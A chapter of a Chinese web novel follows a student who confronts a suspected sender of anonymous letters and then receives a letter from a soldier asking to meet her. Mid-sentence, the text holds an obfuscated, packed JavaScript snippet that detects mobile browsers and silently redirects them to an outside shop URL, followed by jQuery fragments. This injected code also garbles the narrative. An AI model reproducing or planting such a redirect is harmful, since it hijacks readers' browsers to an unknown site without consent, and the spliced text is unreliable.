方知然连续三天没睡好觉。
白天还好，上课、去图书馆、在食堂洗碗，忙起来什么都不想。
一到晚上，躺在宿舍那张硬板床上，盯着天花板上剥落的墙皮，脑子就开始不受控制地转。
她一遍遍在脑子里排练见面的场景。
【第一句话咋说啊，要不要先道歉？他如果转身就走，或者他不走，就冷冷地看着我……】
排练了上百遍，每次结局都不一样，有时是他沉默着离开，有时是他把欠条撕碎扔在她脸上，最离谱的一次是她梦见他从兜里掏出一份家属安置文件，拍在桌上说“签字”。
醒来之后她瞪着天花板发了十分钟呆，觉得自己大概是疯了。
八月二十八号，顾峥报到的日子。
方知然一大早起来，把宿舍打扫了三遍，窗户玻璃擦得能当镜子照，连窗台上那盆快被遗忘的文竹都被她浇了水。
王秀禾从上铺探出头来，迷迷糊糊地看她拎着抹布到处擦，嘟囔了一句“你是不是疯了”，又倒回去睡了。
方知然需要做点什么来分散注意力，她的脑子里正同时转着好几件事：今天顾峥到京市了，他大概会先去军分区报到，安顿下来之后就会联系她。
在此之前，她还需要去见两个人。
陈建。
粮食局那个陈建。
她有太多疑问需要一个答案，那些匿名信是不是他寄的？他到底知道多少？
她必须在自己被顾峥审判之前，先把陈建这颗不知道什么时候会响的雷拆掉。
傍晚时分，方知然去了粮食局家属院。
陈建家在筒子楼三层，走廊里堆满了蜂窝煤和旧纸箱，空气里飘着酱油炝锅的气味。
她敲了门，开门的正是陈建本人，他穿着白色汗衫和深蓝色长裤，比上次在学校见面时看起来居家了许多，看到她明显愣了一下，随即露出一个温和的笑容。
“方同学？你怎么来了？快进来坐，我刚下班，家里有点乱，别嫌弃。”他侧身让开门口，语气热情但不过分。
“不用了，我说几句话就走。”方知然站在门口没有动，目光越过他的肩膀扫了一眼屋内的陈设。
客厅不大，收拾得倒挺干净，茶几上摆着一套紫砂茶具，墙上挂着一幅山水画，看起来是个生活讲究的人，跟他在人前温和有礼的形象完全吻合。
“什么事这么急？进来说吧，我给你泡杯茶。”
“不用麻烦了。”方知然从挎包里拿出一个信封，里面装着他之前送的所有东西折成的钱，以及一封简短的澄清信，“这是你之前送我的东西，折成现金还给你，信里写得很清楚，之前的事是我的错，不求原谅，只求两清。”
陈建没有接，他低头看了看那个信封，又抬起头看着她，脸上的笑容淡了几分：“你大老远跑来就是为了还钱？”
“还有一件事。”方知然深吸一口气，“请你以后不要再来学校找我了。也不要找我室友打听我的事。”
陈建摘下眼镜，用衣角慢慢擦着镜片，语气依旧温和但多了一层让人捉摸不透的意味：“方同学，你对我是不是有什么误会？我只是觉得你一个人在京市读书不容易，想帮帮你，你突然跟我说这些，我倒有些糊涂了。”
“那些匿名信，是不是你寄的？”方知然直接问了。
空气安静了一瞬，陈建的动作停住了，手指悬在镜片上方，停顿了两秒才继续擦下去，动作不紧不慢。
“匿名信？”他把眼镜重新戴上，透过镜片看她的目光依然温和，“什么匿名信？我不知道你在说什么。”
“如果你遇到了什么麻烦，可以跟我说，”陈建微微倾身，语气关切，“虽然你把我送的东西退回来了，但在我心里，你还是那个需要帮助的方同学，我这个人，帮人帮到底，不会因为这点小事就不管你的。”
这句话说得滴水不漏，方知然总觉得哪里不对劲，他太得体，太温和了，被人找上门来质问却没有一丝不悦，反而反过来关心她，这要么是真的大度，要么是城府极深。她倾向于后者。
“不用了，”她后退一步，拉开距离，“我自己能处理。”
“那好吧，”陈建也没有强留，站在门口目送她离开，“路上小心，有什么困难随时来找我，我家的门一直为你开着。”
方知然快步走下楼梯，直到走出筒子楼的大门，那股被什么东西缠绕着的不适感才慢慢消退。
回到学校的时候天已经黑了，传达室的灯亮着，刘大妈正在听收音机里的评书，看到她路过，探出头来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789187|210306||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
喊了一声：“方知然！今天又有你的信！”
方知然的心跳猛地漏了一拍。
她接过信，信封上那熟悉的刚劲字迹让她整个人僵在了原地。
不是从部队寄来的，信封右下角的寄信地址写着“京市西郊军分区”。
他已经到了。
她撕信封的时候手指在发抖，信纸只有一页，字迹比以往潦草了几分，像是匆忙写就的。
“方知然同志：
我已到达京市军分区报到，驻地比我想象的好，宿舍是单间，窗外有一棵银杏树，叶子刚开始变黄，你之前说喜欢银杏，等秋天到了，可以来看。
安顿下来之后，我想见你一面，绝对不是要催你的意思，只是觉得既然人已经到了京市，通信不如见面方便，当然，还是那句话，你说了算，你觉得什么时候合适，就什么时候。
对了，你上封信里说的那件事，我一直记着，不管你信不信，我从一开始就知道你的信里有些东西不太对，比如……一个带兵的人，要是连这点都看不出来，那趁早别干了。
但是我不在乎，我想听你亲口说。
周日下午三点，京大南门往东走五百米有个新华书店，我会在那里等你，来不来，你自己决定。
顾峥”
方知然把信读了三遍。
“这个傻子，知道我在骗他，他还来！”她对着信纸骂了一句，随后发现自己的眼眶有点热。
周日，三天之后。
她就要站在顾峥面前，把所有的真相，照片、欠款、都坦白告诉他。她不是原主，这个不能说。
她想到在工地上修那件青瓷盏的时候，柳姐说：修复文物最难的不是技术，是耐心，你得等胶水慢慢干透，等碎片慢慢咬合，等它从一堆残片变回一件完整的器物。急不得，一急就前功尽弃。
她现在就像一件被打碎的瓷器，顾峥在等她把自己拼好。
方知然睁开眼睛，把信折好放进抽屉的最里层，和之前所有的信放在一起，抽屉关上之后，她的手指在桌面上轻轻敲了几下，她也不知道这是什么习惯，好像是某种给自己打气的仪式。
“三天，”她对着空荡荡的宿舍说，“还有三天。”
窗外，梧桐树的叶子开始变黄了。